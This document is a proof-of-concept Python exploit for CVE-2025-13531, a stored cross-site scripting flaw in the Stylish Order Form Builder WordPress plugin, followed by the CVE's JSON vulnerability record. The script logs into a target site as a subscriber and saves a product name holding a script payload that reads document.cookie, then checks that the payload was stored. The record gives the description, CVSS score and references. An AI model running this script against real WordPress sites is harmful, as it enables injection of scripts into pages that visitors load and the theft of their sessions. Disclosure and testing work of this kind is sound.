CVE-2025-13531

import requests import sys # CVE-2025-13531 PoC - Stored XSS in Stylish Order Form Builder # Target: WordPress site with Stylish Order Form Builder plugin < 1.0.1 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = "subscriber_user" password = "subscriber_password" session = requests.Session() # Step 1: Login as subscriber login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } resp = session.post(login_url, data=login_data) # Step 2: Add product with XSS payload in product_name admin_url = f"{target_url}/wp-admin/admin.php?page=stylish-order-form" product_data = { "product_name": "<script>alert(document.cookie)</script>", "product_price": "100", "action": "save_product" } resp = session.post(admin_url, data=product_data) # Step 3: Verify XSS is stored and executed # Visit the page containing the malicious product page_url = f"{target_url}/?page_id=<affected_page_id>" resp = session.get(page_url) if "<script>alert(document.cookie)</script>" in resp.text: print("[+] XSS payload successfully stored!") else: print("[-] XSS payload not found or filtered")

{"cve": {"id": "CVE-2025-13531", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:49.247", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Stylish Order Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'product_name' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Stylish Order Form Builder para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'product_name' en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Suscriptor y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/stylish-order-form-builder/tags/1.0/Pages/manage-forms/includes/all-products.php#L9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/stylish-order-form-builder/tags/1.0/functions-admin.php#L74", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/stylish-order-form-builder/trunk/Pages/manage-forms/includes/all-products.php#L9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/stylish-order-form-builder/trunk/functions-admin.php#L74", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d9c4d9d-5d4c-4ea9-bf8d-0ee634f9ca7c?source=cve", "source": "[email protected]"}]}}